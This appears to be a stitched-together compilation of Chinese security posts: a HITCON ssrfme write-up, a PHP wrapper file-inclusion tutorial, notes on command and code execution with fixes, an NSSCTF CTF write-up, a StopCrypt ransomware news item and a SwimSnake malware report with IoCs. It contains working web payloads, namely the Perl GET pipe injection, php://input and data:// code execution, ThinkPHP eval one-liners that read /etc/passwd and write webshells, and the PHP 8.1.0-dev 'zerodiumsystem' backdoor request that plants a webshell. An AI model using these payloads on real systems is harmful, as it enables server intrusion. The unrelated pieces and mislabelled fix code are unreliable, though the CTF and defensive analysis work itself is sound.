思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。 代码如下: <?php $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__); ?> 于本地刚做完系统,环境并不全,只有一个kali,还复现失败,所以以下为转载的LoRexxar大师傅的文章 我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。 https://news.ycombinator.com/item?id=3943116 root@iZ285ei82c1Z:~/test# cat a.pl open(FD, "|id"); print <FD>; root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root) 而perl里的GET函数底层就是调用了open处理 file.pm 84: opendir(D, $path) or 132: open(F, $path) or return new open函数本身还支持file协议 root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm head2 File Request The library supports GET and HEAD methods for file requests. The "If-Modified-Since" header is supported. All other headers are ignored. The I<host> component of the file URL must be empty or set to "localhost". Any other I<host> value will be treated as an error. Directories are always converted to an HTML document. For normal files, the "Content-Type" and "Content-Encoding" in the response are guessed based on the file suffix. Example: $req = HTTP::Request->new(GET => 'file:/etc/passwd'); 综合看起来像是一个把文件名拼接入命令导致的命令执行。我们可以测试一下: root@iZ285ei82c1Z:~/test# GET 'file:id|' uid=0(root) gid=0(root) groups=0(root) 成功执行命令了,那么思路就清楚了,我们通过传入命令文件名和命令来 执行。 payload来自rr的博客: http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag| http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag| http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C 4.php伪协议的命令执行技巧 首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。 1.环境搭建 PHP.ini: allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。 allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。 为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。 2.是否截断问题 本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。 情况一:不需要截断: http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt <?php include($_GET['file']) ?> 情况二:需要截断: 在php版本<=5.2中进行测试是可以使用%00截断的。 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00 <?php include($_GET['file'].’.php’) ?> 3. allow_url_fopen与allow_url_include是否开启的问题(1)file://协议 PHP.ini: file:// 协议在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响 参考自:http://php.net/manual/zh/wrappers.file.php 使用方法: file:// [文件的绝对路径和文件名] http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt (2)php://协议 条件: 不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。 php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。 参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 PHP.ini: php://filter在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on 测试现象: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。 PHP.ini: allow_url_fopen :off/on allow_url_include:on 测试现象: http://127.0.0.1/cmd.php?file=php://input [POST DATA] <?php phpinfo()?> 也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?> (3)zip://, bzip2://, zlib://协议 PHP.ini: zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。 参考自:http://php.net/manual/zh/wrappers.compression.php (3)zip://协议 使用方法: zip://archive.zip#dir/file.txt zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] 测试现象: http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。 由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。 (4)bzip2://协议 使用方法: compress.bzip2://file.bz2 测试现象: http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg or http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg (5)zlib://协议 使用方法: compress.zlib://file.gz 测试现象: http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg or http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg (6)data://协议 经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件 PHP.ini: data://协议必须双在on才能正常使用; allow_url_fopen :on allow_url_include:on 参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。 测试现象: http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以: http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?> or http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= ###命令执行漏洞危害 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。 1.继承Web服务程序的权限去执行系统命令或读写文件 2.反弹shell 4.控制整个网站甚至控制服务器 5.进一步内网渗透 ###命令执行修复方案与防御 建议假定所有输入都是可疑的,尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入,系统命令执行函数的参数不允许外部传递。 不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 在发布应用程序之前测试所有已知的威胁。 具体防御方案: PHP内置的两个函数可以有效防止命令执行: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php 当然,修复方法还有很多方式,修复方式一般有两种思维: 黑名单:过滤特殊字符或替换字符 白名单:只允许特殊输入的类型/长度 黑名单修复: <?php $target=$_REQUEST['ip']; $octet = explode( ".", $target ); if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } ?> 白名单修复: <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '. escapeshellcmd($target)); echo "<pre>{$cmd}</pre>"; ?> 1.尽量不要使用系统执行命令 2. 尽量少用执行命令的函数或者直接直接禁用 3. 参数值尽量使用引号包括 4. 在使用动态函数之前,确保使用的函数是指定的函数之一 5. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义 <?php $arg = $_GET['cmd']; // $arg = addslashes($arg); $arg = escapeshellcmd($arg); //拼接前就处理 if ($arg) { system("ls -al '$arg'"); } 6. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用 7. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤 8. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。 复代码: <?php //判断字符串包含函数 function checkstr($str,$find){ $needle = $find; $tmparray = explode($needle,$str); if(count($tmparray)>1){ return true; } else{ return false; } } if(isset($_REQUEST['submit']) && $_REQUEST['ip']===''){ echo '<pre>请输入IP或者域名</pre>'; }else{ $target=filter_var($_REQUEST['ip'],FILTER_SANITIZE_SPECIAL_CHARS);//用filter进行编码 if(checkstr($target,".") && !checkstr($target,"|") && !checkstr($target,"&") && !checkstr($target," ")){ if(stristr(php_uname('s'),'Windows NT')){ $cmd=shell_exec('ping '.$target); echo '<pre>'.$cmd.'</pre>'; }else{ $cmd=shell_exec('ping -c 3'.$target); echo '<pre>'.$cmd.'</pre>'; } }else{ echo '<pre>请勿提交非法字符</pre>'; } } ?> 9.对PHP语言来说,不能完全控制的危险函数最好不要使用 escapeshellcmd()函数是过滤的整条命令 payload: <?php eche(escapeshellcmd($_GET['a']));?> 请求1.php?a=whoami', 在windows下返回whoami^',在linux下返回whoami\' escapeshellarg()函数则是过滤参数 payload: <?php echo escapeshellarg('a"');?> //会见双引号替换成空格,输出为"a " ##命令函数的利用 1. system: system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下: string system(string command, int&return_var),其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。 2. exec: exec函数可以用来执行一个外部的应用程序,string exec (string command, array&output, int &return_var),其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。 3.Passthru: passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下: void passthru (string command, int&return_var),其中,command是要执行的命令,return_var存放执行命令后的状态值。 4. Shell_exec: 执行shell命令并返回输出的字符串,函数原型如下:string shell_exec (string command),其中,command是要执行的命令。 ###代码执行定义 靠执行脚本代码调用操作系统命令: 当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时, 没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。 远程代码执行是指程序代码在处理输入输出的时候没有严格控制。导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取到服务器权限,是发生在应用程序的逻辑层上的漏洞。 ###代码执行原理 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 ###代码执行相关函数 PHP:eval assert Python:exec asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%> Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能 phpcms中的string2array函数 这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组 array(//这个是字符串形式的数组,它并不是数组,而是字符串 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' => '1', 'watermark_minwidth' => '300', 'watermark_minheight' => '300', 'watermark_img' => '/statics/images/water/mark.png', 'watermark_pct' => '85', 'watermark_quality' => '80', 'watermark_pos' => '9', ) function string2array($data) { //这个函数可以将字符串$data转化为数组 if($data == '') return array(); @eval("\$array = $data;"); return $array; } ###代码执行漏洞分类 执行代码的函数:eval、assert callback函数:preg_replace + /e模式 反序列化:unserialize()(反序列化函数) ###代码执行漏洞危害 执行代码 让网站写shell 甚至控制服务器 ###代码执行搭建环境实验 示例一: <?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; ?> 示例二: <?php $data = $_GET['data']; eval("\$ret = strtolower('$data');"); echo $ret; ?> 示例三: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?> 示例四: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?> 示例五: mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后) <?php $data = $_GET['data']; // echo $data; preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1"',$data); echo $ret; ?> ##代码执行渗透技巧 # 一般找CMS相应版本漏洞,如ThinkPHP2.1 ##一句话 http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} ##得到当前路径 http://www.xxx.com/News/detail/id/{${print(getcwd()))}} ### 读文件 http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd ###写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?> ###代码执行漏洞防御 使用json保存数组,当读取时就不需要使用eval了,对于必须使用eval的地方,一定严格处理用户数据字符串使用单引号包括可控代码,插入前使用addslashes转义放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  19. 前言 NSSCTF最终排名为37名 参赛队员有:Godyu lemon biu801 本篇文章由Godyu lemon biu801共同参与编写 赛状惨烈 重在参与 最后的becomeroot想用CVE2021-3493打,出题人后来单独开了个靶机,没打出来 温馨的酒吧 这是一道视频互动题,flag藏在不同的视频结尾 flag1: 沉默->好啊->唉,看看题吧->web->放下比赛,安慰对象->flag1 flag2 看看菜单->select * from flag->flag2 不过前面是占位符 flag3 谢队我要给你决斗->突然不想打了,快跑->flag3 拼接起来最终flag是 NSSCTF{新年快乐_不要停下来啊_CTFer} Number7 根据Number7 而且inside NO.7猜测cisco type7加密 使用在线网站或者随波主流都能解开 usersssssssss 下载完毕后是200个账号 密码是md5sum 一行和一行对应 sh脚本 #!/bin/bash # 定义文件路径 input="/CVE/wordlist.txt" output="/CVE/4.txt" # 重置输出文件 > "$output" # 遍历wordlist.txt中的每一行 while IFS= read -r line || [[ -n "$line" ]]; do # 跳过空白行 if [[ -z "$line" ]]; then continue fi # 计算每行的MD5哈希值 md5=$(echo -n "$line" | md5sum | awk '{print $1}') # 将计算出的哈希值追加到4.txt文件中 echo "$md5" >> "$output" done < "$input" 生成完毕后是一一对应的 经过测试200个账号密码都是正确的但只有一个用户有flag 其他的没有 尝试访问别人的也没权限 解决方法:1.提权全局拿flag 2.写脚本一个一个ls访问 3.手测 第一次打的时候跟队友一起手测 最终在第123个成功测出 后来在打后一个加强版的时候借助ai写出了脚本 不过后一个题加强版的也没写出来 全自动化脚本: import paramiko # 设置主机信息 hostname = 'node1.anna.nssctf.cn' port = 28591 # 读取用户名和密码列表 with open('wordlist.txt', 'r') as user_file: usernames = user_file.read().splitlines() with open('10.txt', 'r') as pass_file: passwords = pass_file.read().splitlines() # 确保用户名和密码列表长度相同 assert len(usernames) == len(passwords), "用户名和密码数量不匹配" # 尝试登录并执行命令 for username, password in zip(usernames, passwords): try: # 初始化SSH客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 尝试连接 client.connect(hostname, port, username, password, timeout=10) # 执行ls命令 stdin, stdout, stderr = client.exec_command('ls') output = stdout.read().decode('utf-8') # 检查是否存在flag.txt if 'flag.txt' in output: # 读取flag.txt内容 stdin, stdout, stderr = client.exec_command('cat flag.txt') flag_content = stdout.read().decode('utf-8').strip() print(f"找到flag: {flag_content}") break else: print(f"在用户 {username} 的目录中没有找到flag.txt") except paramiko.AuthenticationException: print(f"登录失败:用户名 {username} 或密码错误") except Exception as e: print(f"发生错误:{str(e)}") finally: client.close() 运行之后即可拿到flag 过年来下棋 XXVAF AVXAX DXFVX DXDVA XAGV 发现题上的字母有ADFGVX组成 去网上搜索发现是棋盘加密 ADFGVX在线解码 发现需要一个密钥 读题有一个lucky 尝试用它当密钥(要把txt的空格去掉) h499yn3wye4r 补充Becomeroot 首页可以知道PHP Version 8.1.0-dev rce命令执行https://cloud.tencent.com/developer/article/1839234 马: User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php"); 之前传进马子发现是乌班图20.04LTS第一时间想到内核提权CVE2021-3493 最后发现交互式POC不能用,只有非交互式CVE2021-3156能用 CVE2021-3493提权内核相关文件无法越权挂载,导致提权失败 复现CVE-2021-3156PULS的可以直接使用 https://github.com/Rvn0xsy/CVE-2021-3156-plus
  20. StopCrypt 勒索软件(又名 STOP)的新变种在野外被发现,它采用涉及 shellcode 的多阶段执行过程来逃避安全工具。 StopCrypt,也称为 STOP Djvu,是现有的分布最广泛的勒索软件之一。 因为这种勒索软件操作通常不针对企业,而是针对消费者,经常产生数万笔 400 至 1000 美元的小额赎金,以至于很少听到安全研究人员讨论 STOP。 STOP勒索软件通常通过恶意广告和可疑网站传播,这些网站会分发伪装成免费软件、游戏作弊和软件破解的广告软件捆绑包。 然而,当安装这些程序时,用户就会感染各种恶意软件,包括密码窃取木马和 STOP 勒索软件。 自 2018 年首次发布以来,勒索软件加密器没有太大变化,发布的新版本主要是为了修复关键问题。因此,当新的STOP版本发布时,由于受到影响的人数较多,值得关注。 新的多阶段执行 威胁研究团队在野外发现的 STOP 勒索软件新变种,现在利用多阶段执行机制。 最初,恶意软件加载一个看似不相关的 DLL 文件 (msim32.dll),可能是为了转移注意力。它还实现了一系列长时间延迟循环,可能有助于绕过与时间相关的安全措施。 接下来,它使用堆栈上动态构造的 API 调用来为读/写和执行权限分配必要的内存空间,从而使检测变得更加困难。 StopCrypt 使用 API 调用进行各种操作,包括拍摄正在运行的进程的快照以了解其运行环境。 下一阶段涉及进程空洞,其中 StopCrypt 劫持合法进程并注入其有效负载以在内存中谨慎执行。这是通过一系列精心编排的 API 调用来操作进程内存和控制流来完成的。 一旦执行了最终的有效负载,就会发生一系列操作来确保勒索软件的持久性,修改访问控制列表(ACL)以拒绝用户删除重要恶意软件文件和目录的权限,并创建一个计划任务来每隔一段时间执行一次有效负载5分钟。 StopCrypt的计划任务 文件已加密,并且新名称后会附加“.msjd”扩展名。然而,有数百个与 STOP 勒索软件相关的扩展。 最后,在每个受影响的文件夹中都会创建名为“_readme.txt”的勒索字条,向受害者指示支付赎金以检索数据。 勒索信样本 StopCrypt 正逐渐演变为更加隐秘和强大的威胁,尽管 StopCrypt 的金钱要求并不高,而且其运营商也不会进行数据盗窃,但它仍会对许多人造成巨大损失。
  21. 1 概览 “游蛇”黑产自2022年下半年开始活跃至今,针对国内用户发起了大量钓鱼攻击和诈骗活动。该类黑产传播的恶意程序变种多、更新免杀手段快、更换基础设施频繁、攻击目标所涉及的行业广泛。近期,安天CERT监测到“游蛇”黑产针对与金融、财务相关的企业及人员进行的攻击活动。攻击者投放的初始恶意文件主要有三类:可执行程序、CHM文件、商业远控软件“第三只眼”,伪造的文件名称大多与财税、资料、函件等相关。 由于商业远控软件“第三只眼”提供多方面的远程监控及控制功能,并且将数据回传至厂商提供的子域名服务器、根据qyid值识别控制端用户,攻击者无需自己搭建C2服务器,因此恶意利用该软件进行的攻击活动近期呈现活跃趋势。 “游蛇”黑产仍在频繁地对恶意软件、免杀手段以及相关基础设施进行更新,每天依旧有一定数量的用户遭受攻击并被植入远控木马。安天CERT建议用户接收文件时保持警惕,避免点击安全性未知的可执行程序、脚本等文件,以免遭受“游蛇”攻击,造成不必要的损失。建议未购买使用“第三只眼”远控软件的用户,使用流量监测设备检查网络中是否存在与“dszysoft.com”及其子域名相关的连接记录,若存在则表明可能被恶意植入了相关远控,用户也可以考虑对相关域名进行封禁。 经验证,安天智甲终端防御系统(简称IEP)可实现对该类远控木马的有效查杀。相关防护建议详见本文第四章节。 2 技术梳理 近期,安天CERT监测到攻击者投放的初始恶意文件主要有三类,伪造的文件名称大多与财税、资料、函件等相关。 表 2‑1近期部分样本伪装名称 伪装的程序名称 企业补贴名单.exe 企业纳税新系统.exe 企业税务稽查名单.exe 2024年企业税收减免新政策.exe 律-师-函102803912.exe 律师函.exe 资料.exe 0328.CHM 公司全套资料.CHM 20240325.CHM 2.1 可执行程序 此类可执行程序通常是下载器,执行后在内存中执行Shellcode,从攻击者事先准备的服务器中获取下一阶段的载荷文件,并使用“白加黑”、“内存执行Shellcode”、“内存解密Payload”等手段最终加载执行Gh0st等远控木马。 2.2 CHM文件 此类CHM文件执行后会弹出“内容已损坏,无法继续浏览,请关闭”字样。实际上,其内部脚本中的代码此时已经执行,通过远程加载xsl文件的方式,获取下一阶段的载荷文件,并使用“白加黑”等手段最终加载执行Gh0st等远控木马。 图 2‑1 CHM文件执行后弹出的内容 2.3 商业远控软件“第三只眼” 攻击者有时也会直接将经过伪装的“第三只眼”安装包发送给目标用户,并诱导执行。攻击者传播的安装包通常以静默方式进行安装,过程中无界面显示。此外,也存在攻击者通过已经植入的远控木马进行远程安装的情况。 由于该款商业远控软件能够提供多方面的远程监控及控制功能,并且通过将数据发送至厂商提供的子域名服务器、根据qyid值识别控制端用户的方式回传数据,因此黑产团伙已多年恶意利用该远控软件进行攻击活动,近期依然呈现活跃趋势。该远控软件某一版本的控制端界面如下图所示。 图 2‑2 控制端界面 3 样本分析 3.1 可执行程序 由于攻击者投放的恶意可执行程序较多,此处以一例出现频率较高的可执行程序为例。 表 3‑1样本标签 恶意代码名称 Trojan/Win64.SwimSnake[Downloader] 原始文件名 资料全套.exe MD5 A3A423DD691197920B64EA8E569A0CDE 处理器架构 Intel 386 or later, and compatibles 文件大小 163 KB (167168字节) 文件格式 BinExecute/Microsoft.EXE[:X64] 时间戳 2013-03-29 01:46:13(伪造) 数字签名 无效的数字签名 加壳类型 无 编译语言 Microsoft Visual C/C++ PDB路径 无 VT首次上传时间 无 VT检测结果 无 该程序执行后申请一段内存空间,写入Shellcode并执行。 图 3‑1执行Shellcode 3.1.1 Shellcode 该Shellcode判断当前系统中是否存在C:\xxxx.ini文件,若已经存在则结束进程,攻击者可能通过这种方式来判断系统是否曾被感染;然后检测当前系统中是否运行有安全产品相关进程,若不存在则对硬编码的字符串进行解密得到URL,从中获取b.dat文件并进行解密,从而得到两组URL及下载后用于重命名的文件名称。该Shellcode默认使用其中的第一组。 图 3‑2获取文件并解密得到URL及文件名称 该Shellcode在C:\Users\Public\Videos中根据随机生成的名称创建文件夹,根据第一组URL下载4个文件,使用自定义的解密算法对其进行解密,写入创建的文件路径中,最后执行其中的可执行程序。 图 3‑3解密后的攻击载荷文件 3.1.2 “白加黑”利用 攻击者利用“白加黑”手段,通过白程序加载其构造的恶意DLL文件,在内存中执行Shellcode读取ffff.pol文件内容、解密得到一个DLL文件,再由该DLL文件创建计划任务、读取ffff.lop文件进行解密,最终执行Gh0st远控木马。 图 3‑4由ffff.lop文件解密得到Gh0st远控木马 3.2 CHM文件 表 3‑2样本标签 恶意代码名称 Trojan/Win32.SwimSnake[Downloader] 原始文件名 45.204.11.10 (2).CHM MD5 FB114FFE7FC1454C011BAA502C00A358 文件大小 9.39 KB (9625字节) 文件格式 Microsoft Compiled HTML Help VT首次上传时间 无 VT检测结果 无 攻击者投放的CHM文件执行后,从指定URL处获取xsl文件,并进行远程加载。 图 3‑5 加载远程xsl文件 3.2.1 load.xsl 该文件含有两段经过Base64编码处理的字符串,对其进行解码后在内存中加载.NET程序集。 图 3‑6 load.xsl文件关键内容 3.2.2 .NET程序 被加载的.NET程序从指定URL处获取config文件,读取config文件中的每一行内容,根据其下载文件并执行。 图 3‑7 .NET程序关键代码 3.2.3 config.txt config.txt文件中包含多个托管载荷文件的URL。 图 3‑8 config.txt文件 3.2.4“白加黑”利用 攻击者此次利用的白程序是赛车竞速游戏“极限竞速:地平线5”相关程序,并针对该白程序构造了恶意的“PartyXboxLive.dll”文件。该DLL文件被加载后,对boom.png文件内容进行解密,创建msiexec.exe进程,并将解密得到的Gh0st远控木马注入至msiexec.exe的内存空间中。 图 3‑9攻击者利用“极限竞速:地平线5”相关程序进行攻击 3.3 商业远控软件“第三只眼” 攻击者投放的“第三只眼”安装包程序通常以静默方式安装,以避免用户察觉。 表 3‑3样本标签 恶意代码名称 HackTool/Win32.DSZY[Spy] 原始文件名 企业纳税新系统.exe MD5 7B8C787345DED235BAC78AB78EC0FAEA860B3B8B 处理器架构 Intel 386 or later, and compatibles 文件大小 38.7 MB (40622763字节) 文件格式 BinExecute/Microsoft.EXE[:X86] 时间戳 2021-11-22 17:54:59 数字签名 无 加壳类型 无 编译语言 Microsoft Visual C/C++ PDB路径 无 VT首次上传时间 2023-12-05 16:02:42 VT检测结果 24/72 3.3.1 配置信息 该软件安装目录中存在3个.conf配置文件,属于SQLite3数据库文件,其中含有配置信息。 图 3‑10配置信息文件 comnctt.xdt.conf与syslogin.xdt.conf文件的内容相似,包含关于网络回连及程序等配置信息。其中,main/host表示服务器域名,config/qyid表示控制端用户名所对应的id。该远控软件会将运行过程中监控的数据回传至厂商提供的子域名服务器中,并根据qyid识别控制端对应的用户名。 图 3‑11 回连域名及qyid expiorer.xdt.conf文件中含有与监控相关的配置信息。其中,main/event_config及main/event_rule中含有经过Base64编码的字符串,解码后是JSON格式的配置信息,包括监控目标类别、关键字、规则等。 图 3‑12 main/event_config解码后的部分内容 3.3.2 数据记录 该软件的安装目录有多个.dat文件,属于SQLite3数据库文件,其中记录着运行过程中收集的数据,包括屏幕截图、硬件信息、进程相关信息、键盘记录以及根据配置信息中的关键词、规则收集的数据。 屏幕截图:该软件会根据配置信息中的时间间隔持续地对屏幕进行截图。 图 3‑13根据配置信息中的时间间隔持续进行截图 进程相关信息:该软件会对启动的进程相关信息进行记录,包括启动时间、进程名称、窗口标题等。 图 3‑14记录进程相关信息 根据配置信息中的关键词、规则收集的数据:该软件会根据配置信息中定义的目标类别、关键词及规则收集数据,并将数据记录在相应的数据表中,包括键盘记录、文件监控、剪贴板监控、邮件信息等。 图 3‑15相关数据表 4 防护建议 4.1 增强业务人员的安全意识 增强业务人员的安全意识,降低组织被攻击的可能性。财务、客服、销售等人员使用微信、企业微信等电脑端登录的即时通讯应用时,避免因工作性质、利益原因,被诱导下载和运行不明来源的各类文件。组织可通过选择安全意识培训服务,巩固“第一道安全防线”。 4.2 使用安天安全威胁排查工具排查游蛇威胁 发现或怀疑遭受“游蛇”黑产攻击:针对“游蛇”黑产在攻击活动中投放的远控木马,在安天垂直响应平台下载安天安全威胁排查工具(https://vs2.antiy.cn,“游蛇”专项排查工具),面对突发性安全事件、特殊场景时快速检测排查此类威胁。由于“游蛇”黑产使用的攻击载荷迭代较快,且持续更新免杀技术,为了更精准、更全面的清除受害主机中存在的威胁,建议客户在使用专项排查工具检出威胁后,联系安天应急响应团队([email protected])处置威胁。 图 4‑1“游蛇”专项排查工具检出“游蛇”威胁 4.3 加强终端文件接收和执行防护 部署企业级终端防御系统,实时检测防护即时通讯软件接收的不明文件。安天智甲终端防御系统采用安天下一代威胁检测引擎检测不明来源文件,通过内核级主动防御能力阻止其落地和运行。 图 4‑2安天智甲终端防御系统阻止恶意文件落地 5 IoCs IoCs A3A423DD691197920B64EA8E569A0CDE 5D8D6F2D27A0BB95A9E4E1C44685F99C 6F4743D3C1C475BC6D2698CC4FC4373F DB823462C21D62E19634AD1772F80C58 FB114FFE7FC1454C011BAA502C00A358 68A86812EED8C560BD0708F237338BC5 9DC1C5D895721C079DD68B6CD82FB1BB 148B5D68A05D480D60A58F73980363A2 hxxps://lldwt-oss.oss-cn-beijing.aliyuncs.com hxxps://ced-oss.oss-cn-shanghai.aliyuncs.com hxxps://augenstern-1324625829.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl hxxps://elephant-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl hxxps://petrichor-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl 45.195.57[.]10:8800 45.204.11[.]10:8888
